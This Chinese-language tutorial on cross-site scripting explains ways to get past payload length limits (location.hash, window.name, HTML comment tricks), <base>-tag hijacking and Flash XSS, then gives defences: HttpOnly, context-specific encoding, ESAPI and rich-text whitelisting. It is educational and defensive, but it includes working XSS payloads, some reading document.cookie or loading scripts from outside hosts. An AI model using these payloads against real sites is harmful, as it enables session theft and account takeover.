假设下面代码存在一个XSS漏洞: <input type=text value="$var" />
服务器端对输出变量$var做了严格的长度限制,那么攻击者可能会这样构造XSS: $var
为 "><script>alert(/xss/)</script>
希望达到的输出效果是: <input type=text value=""><script>alert(/xss/)</script>" />
假设长度限制为20个字节,则这段XSS会被切割为: $var
输出为: "><script>alert(/xss
连一个完整的函数都无法写完。
攻击者可以利用时间(Event)来缩短所需要的字节数: $var
输出为"onclick=alert(1)//
加上空格符,刚好够20个字节
但利用“事件”能够缩短的字节数是有限的。最好的办法是先把XSS Payload写在别处,再通过简短的代码加载这段XSS Payload。
最常用的一个“藏代码”的地方,就是“location.hash”。而且根据HTTP协议,location.hash的内容不会在HTTP包中发送,所以服务器端的Web日志中并不会记录下location.hash里的内容,从而
更好地隐藏了黑客真实的意图。 $var
输出为onclick="eval(location.hash.substr(1))"
总共40个字节。输出后的HTML是: <input type=text value="" onclick="eval(location.hash.substr(1)) " />
因为location.hash的第一个字符是#,所以必须去除第一个字符才行。此时构造出的XSS URL为:
http://www.a.com/test.html#alert(1)
用户点击文本框时,location.hash里的代码就执行了.
location.hash本身没有长度限制,但是浏览器的地址栏是有长度限制的,不过这个长度已经足够写很长的XSS Payload了。要是地址栏的长度也不够用,还可以再使用加载远程JS的方法,来
更多的代码。
在某些环境下,可以利用注释符绕过长度限制。
比如我们能控制两个文本框,第二个文本框允许写入更多的字节。此时可以利用HTML的”注释符号“,把两个文本框之间的HTML代码全注释掉,从而”打通“两个<input>
标签。
<input id=1 type="text" value="" />
xxxxx
<input id=2 type="text" value="" />
在第一个input框中,输入:"><!--
在第二个input框中,输入:--><script>alert(/xss/);</script>
最终的效果是:
<input id=1 type="text" value=""><!-- />
xxxxx
<input id=2 type="text" value="--><script>alert(/xss/);</script>" />
中间的代码前部被<!-- -->
注释掉了。
使用<base>
标签: <base>
标签是定义所有使用”相对路径”标签的hosting地址
例如:
<body> <base href="http://www/google.com" /> <img scr="/int1/...png" /> </body>
需要注意的是<base>
标签可以出现在页面的任何地方,并作用于该标签之后的所有标签。
攻击者如果在页面中插入了<base>
标签,就可以通过在远程服务器上伪造图片、链接或脚本,劫持当前页面中的所有使用”相对路径“的标签。比如:
<base href="http://www.evil.com" />
...
<script src="http://cracer.com/blog/x.js">
...
<img scr="y.jpg" />
...
<a href="http://cracer.com/blog/auth.do"> auth</a>
所以在设计XSS安全方案时,一定要过滤掉这个非常危险的标签。
window.name的妙用:
window.name对象是一个很神奇的东西,对当前的window.name对象赋值,没有特殊字符的限制。因为window对象是浏览器的窗体,而并非document对象,因此很多时候window对象不受同
策略的限制。攻击者利用这个对象,可以实现跨域、跨页面传递数据。在某些环境下,这种特性将变得非常有用。
参考以下案例:
www.a.com/test.html的代码为:
<body> <script> window.name="test"; alert(document.domain+" "+window.name); window.location="http://www.b.com/test1.html"; </script> </body>
这段代码将window.name赋值为test,然后显示当前域和window.name的值,最后页面跳转到www.b.com/test1.html。
www.b.com/test1.html的代码为:
<body> <script> alert(document.domain+" "+window.name); </script> </body>
这个过程实现了数据的跨域传递:”test”这个值从www.a.com传递到www.b.com
使用window.name可以缩短XSS Payload的长度,如下所示:
<script> window.name="alert(document.cookie)"; location.href="http://www.xssedsite.com/xssed.php"; </script>
在统一窗口打开XSS的站点后,只需通过XSS执行以下代码即可:
eval(name);
只有11个字节,短到了极点。
这个技巧为安全研究者luoluo发现,同时他还整理了很多绕过XSS长度限制的技巧。
变废为宝:Mission Impossible
从XSS漏洞利用的角度来看,存储型XSS对攻击者的用处比反射型XSS要大。而有的XSS漏洞被认为只能够攻击自己,属于”鸡肋”漏洞。但随着时间的推移,数个曾经被认为是无法利用的
洞,都被人找到了利用方法:
a)Apache Expect Header XSS:
b)Anehta的回旋镖:
容易被忽视的角落:Flash XSS
前面降到的XSS攻击都是基于HTML的,其实在Flash中同样也有可能造成XSS攻击。
在Flash中是可以嵌入ActionScript脚本的。一个最常见的Flash XSS可以这样写:
getURL(“javascript:alert(document.cookie)”)
ActionScript是一种非常强大和灵活的脚本,甚至可以使用它来发起网络连接,因此应该尽可能地阻止用户能够上传和加载自定义的Flash文件。
由于Flash文件如此危险,所以在实现XSS Filter时,一般都会禁用、等标签。后者甚至可以加载ActiveX控件,产生更为严重的后果。
嵌入FLash的脚本重要的参数有allowScriptAccess(推荐值never)、allowNetworking(建议值none或者internal)。
Flash XSS往往被忽视,因为其问题出现在编译后的Flash文件中。
真的高枕无忧吗?Javascript开发框架
jQuery本身出现的漏洞较少,但是开发者的意识才是安全编码的关键。
例如$(‘div.demo-container’).html(“”);
如果用户可控制输入,那么XSS产生是必然的。
五、XSS的防御
5.1、HttpOnly
浏览器将禁止页面的Javascript访问带有HttpOnly属性的Cookie。是为了解决劫持Cookie攻击。因为Javascript获取不到Cookie的值。
Cookie hit=new Cookie("hitCounter","1"); hit.setHttpOnly(true);//如果设置了"HttpOnly"属性,那么通过程序(JS脚本、Applet等)将无法访问该Cookie hit.setMaxAge(60*60);//设置生存期为1小时 //hit.setDomain("www.duanxz.cn");//子域,在这个子域下才可以访问该Cookie //hit.setPath("/hello");//在这个路径下面的页面才可以访问该Cookie //hit.setSecure(true);//如果设置了Secure,则只有当使用https协议连接时cookie才可以被页面访问 response.addCookie(hit);
详情见《cookie常见属性及用法》
5.2、输入检查
常见的Web漏洞如XSS、SQL诸如等,都要求攻击者构造一些特殊字符,这些特殊字符可能是正常用户不会用到的,所以输入检查就有存在的必要了。
例如,用户名可能会被要求只能为字母、数字的组合。
输入检查的逻辑应该放在服务器端,否则很容易被绕过。目前的普遍做法是在客户端和服务器端都执行检查。
在XSS的防御上,输入检查一般是检查用户输入的数据中是否包含一些特殊字符,如< > ’ “等。如果发现,则将这些字符过滤掉或编码。
比较智能的还会检查<script> javascript等敏感字符,网上有很多XSS Filter资源。但因为XSS Filter对语境不了解,有时不能检查出XSS攻击。
5.3、输出检查
一般来说,除了富文本的输出外,在变量输出到HTML页面时,可以使用编码或者转移的方式来防御XSS攻击。
安全的编码函数:
针对HTML代码的编码方式是HtmlEncode。
HtmlEncode并非专用名词,它只是一种函数体现。它的作用是将字符转换成HTMLEntities,对应的标准是ISO-8859-1。
对了对抗XSS,在HtmlEncode中至少要转换以下字符: & => & < =>< > " ' /
相应地,Javascript的编码方式可以使用JavascriptEncode。
JavascriptEncode与HtmlEncode的编码方法不同,他需要使用\对特殊字符进行转义。在对抗CSS时,还要求输出的变量必须在引号内部,以避免造成安全问题。比较下面两种写法: var x=escapeJavascript($evil);
var y='"'+escapeJavascript($evil)+'"';
如果escapeJavascript函数只转义了几个危险字符,比如’ ” < > \ & #等,那么上面的两行代码输出后可能变成: var x=1;alert(2);
var y="1;alert(2)";
所以要求使用JavascriptEncode的变量输出一定要在引号内。
可视很多开发者没有这个习惯怎么办?这将只能使用一个更加严格的JavascriptEncode函数–除了数字、字母外的所有字符,都使用十六进制”\xHH”的方式进行编码。在本例中: var x=1;alert(2);
变成了: var x=1\x3balert\x282\x29;
如此代码可以保证是安全的。
只需一种编码吗?
XSS攻击主要发生在MVC架构中的View层。大部分的XSS漏洞可以在模版系统中解决。
不是使用了auto-escape就万事大吉了,XSS的防御需要区分情况对待。
正确地防御XSS
XSS的本质还是一种”HTML注入”。
想要根治XSS,可以列出所有XSS可能发生的场景,在一一解决。
在HTML标签中输出:如
<div>$var</div>
<a href=# >$var</a>
这样可以构造出:
<div><script>alert(/xss/)</script></div>
<a href=#><img scr=# onerror=alert(1) /></a>
防御方法是对变量使用HtmlEncode。
在HTML属性中输出:如
<div id="abc" name="$var" ></div>
可以构造出:
<div id="abc" name=""><script>alert(/xss/)</script><"" ></div>
防御方法也是HtmlEncode。在OWASP ESAPI中推荐了一种更严格的HtmlEncode–除了字母、数字外,其他所有的字符都被编码成HTMLEntities。 String sfa=ESAPI.encoder().encodeForHTMLAttribute(request.getParameter("input")];
这种严格的编码方式,可以保证不会出现任何安全问题。
在<script>标签中输出:如
<script>
var x="$var";
</script>
可以构造出:
<script>
var x="";alert(/xss/);//";
</script>
防御时也是使用JavascriptEncode
在事件中输出:如 <a href=# onclick="funcA('$var')" >test</a>
可以构造出: <a href=# onclick="funcA('');alert(/xss/);//')" >test</a>
在防御时需要使用JavascriptEncode
在CSS中输出:
在CSS和style、style attribute中形成的XSS的方式非常多样化,参考下面几个XSS的例子。
<STYLE>@import 'http://ha.ckers.org/xss.css';
<STYLE>BODY {-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}
<XSS STYLE="behavior:url(xss.htc);">
<STYLE>li {list-style-image:url("javascript:alert('XSS')");} </STYLE><UIL><LI>XSS
<DIV STYLE="background-image:url(javascript:alert('XSS'))">
<DIV STYLE="width:expression(alert('XSS'));">
所以一般来说,尽可能地禁止用户可控制的变量在”<style>
标签”、”HTML标签的style属性”以及”CSS文件”中输出。如果一定有这样的需求,推荐使用OWASP ESAPI中的encodeForCSS()
数。类似于ESAPI.encoder().encodeForJavaScript()函数。
在地址中输出:
在地址中输出也较为复杂。一般来说,在URL的path(路径)或者search(参数)中输出,使用URLEncode即可。
例如: <a href="http://www.evil.com/?test=$var" >test</a>
可能的攻击办法: <a href="http://www.evil.com/?test=" onclick=alert(1)"" >test</a>
经过URLEncode后就可以防御。
但是还有一种情况,就是整个URL都能够被用户完全控制。这时URL的协议和Host部分是不能够使用URLEncode的,否则会改变URL的语义。
一个URL的组成如下: [Protocol][host][Path][search][Hash]
如 http://www.evil.com/a/b/c/test?abc=123#ssss
protocol="http://"
host=www.evil.com
search="?abc=123"
hash=#ssss
在Protocol和host中,如果使用严格的URLEncode函数,则会把”://
“、”.
“等都编码掉。
对于如下的输出方式: <a href="http://cracer.com/blog/$var" >test</a>
攻击者可能会构造: <a href="javascript:alert(1);">test</a>
除了“JavaScript作为伪协议可以执行代码外,还有VBScript、dataURI等伪协议可能导致脚本执行。
由此可见,如果用户能够完全控制URL,则可以执行脚本的方式有很多,如何解决这种情况呢?
一般来说,如果变量是整个URl,则应该首先检查变量是否是以Http开头,如果不是则自动添加,以保证不会出现伪协议类的XSS攻击。
在此之后再对变量进行URLEncode,即可保证不会有此类的XSS发生了。
OWASP ESAPI中有一个URLEncode的实现:
ESAPI.encoder().encodeForURL
处理富文本
有些时候,网站需要允许用户提交一些自定义的HTML代码,称之为”富文本”。比如,一个用户在论坛里发帖,帖子里的内容里要有图片、视频、表格等,这些“富文本”的效果都需要通过HTM
代码来实现。
如何区分安全的“富文本”和有攻击性的XSS呢?
在处理富文本时,还是要回到”输入检查”的思路上来。”输入检查“的主要功能是,在检查时还不知道变量的输出语境。但用户提交的”富文本“数据,其语义是完整的HTML代码,在输出时也不
拼凑到某个标签的属性中。因此可以特殊情况特殊处理。
在上一节中,列出了所有在HTML中可能执行脚本的地方。而一个优秀的”XSS Filter“,也应该能够找出HTML代码中所有可能执行脚本的地方。
HTML是一种结构化的语言,比较好分析。通过htmlparser可以解析出HTML代码的标签、标签属性和事件。
在过滤富文本时,”事件“应该被严格禁止,因为”富文本“的展示需求里不应该包括”事件“这种动态效果。而一些危险的标签,比如<iframe>、<script>、<base>、<form>
等,也是应该严格禁
的。
在标签的选择上,应该使用白名单,避免使用黑名单。比如,只允许<a>、<img>、<div>
等比较”安全“的标签存在。
”白名单“原则不仅仅用于标签的选择,同样应该用于属性与事件的选择。
在富文本过滤中,处理CSS也是一件麻烦的事情。如果允许用户自定义的CSS、style,则也可能导致XSS攻击。因此尽可能地禁止用户自定义CSS与Style。
如果一定要允许用户自定义样式,则只能像过滤”富文本“一样过滤”CSS“。这需要一个CSS Parser对样式进行智能分析,检查其中是否包含危险代码。
有一些比较成熟的开源项目,实现了对富文本的XSS检查。
Anti-Samy是OWASP上的一个开源项目,也是目前最好的XSS Filter。最早它是基于Java的,现在已经扩展到.NET等语言。
5.5、防御DOM Based XSS
DOM Based XSS是一种比较特别的XSS漏洞,前文提到的几种防御方法都不太适用,需要特别对待。
DOM Based XSS是如何形成的呢?回头看看这个例子:
<script> function test(){ var str=document.getElementById("text").value; document.getElementById("t").innerHTML="<a href='http://cracer.com/blog/"+str+"' >testLink</a>"; } </script> <div id="t"></div> <input type="text" id="text" value="" /> <input type="button" id="s" value="write" oncick="test()" />
在button的onclick事件中,执行了test()函数,而该函数中最关键的一句是: document.getElementById("t").innerHTML="<a href='http://cracer.com/blog/"+str+"' >testLink</a>";
将HTML代码写入了DOM节点,最后导致了XSS的发生。
事实上,DOM Based XSS是从Javascript中输出数据到HTML页面中。而前文提到的方法都是针对”从服务器应用直接输出到HTML页面”的XSS漏洞,因此并不适用于DOM Based XSS。
看看下面这个例子:
1
2
3
4
|
<script> var x= "$var" ; document.write( "<a href='http://cracer.com/blog/" +x+ "' >test</a>" ); </script> |
变量$var
输出在<script>
标签内,可是最后又被document.write输出到HTML页面中。
假设为了保护$var
直接在<script>
标签内产生XSS,服务器端对齐进行了JavascriptEscape。可是$var在document.write时,仍然能够产生XSS,如下所示:
<script> var x="\x20\x27onlick\x3dalert\x281\x29\x3b..."; document.write("test"); </script>
页面渲染之后的实际结果如下:
XSS攻击成功。
其原因在于,第一次执行JavascriptEscape后,只保护了: var x="$var";
但是当document.write输出数据到HTML页面时,浏览器重新渲染了页面。在<script>标签执行时,已经对变量x进行了解码,其后document.write再运行时,其参数就变成了: <a href='http://cracer.com/blog/ 'onclick=alert(1);//' ' >test</a>
XSS因此而产生。
如果改成HtmlEncode也是如此。
正确的防御方法是什么呢?
首先,在$var
输出到<script>
时,应该执行一次javascriptEncode;其次,在document.write输出到HTML页面时,要分具体情况看待:如果是输出到事件或者脚本,则要再做一
javascriptEncode;如果是输出到HTML内容或者属性,则要做一次HtmlEncode。
也就是说,从JavaScript输出到HTML页面,也相当于一次XSS输出的过程,需要分语境使用不同的编码函数。
会触发DOM Based XSS的地方很多,以下几个地方是JavaScript输出到HTML页面的必经之路。
a) document.write() document.writeln()
b) xxx.innerHTML= xxx.outerHTML=
c) innerHTML.replace
d) document.attachEvent() window.attachEvent()
e) document.location.replace() document.location.assign()
…
除了服务器端直接输出变量到Javascript之外,还有以下几个地方可能会成为DOM Based XSS的输入点,也需要重点关注。
a) 页面中所有的inputs框
b) window.location(href、hash等)
c) window.name
d) document.referrer
e) document.cookie
f) localstorage
g) XMLHttpRequest返回的数据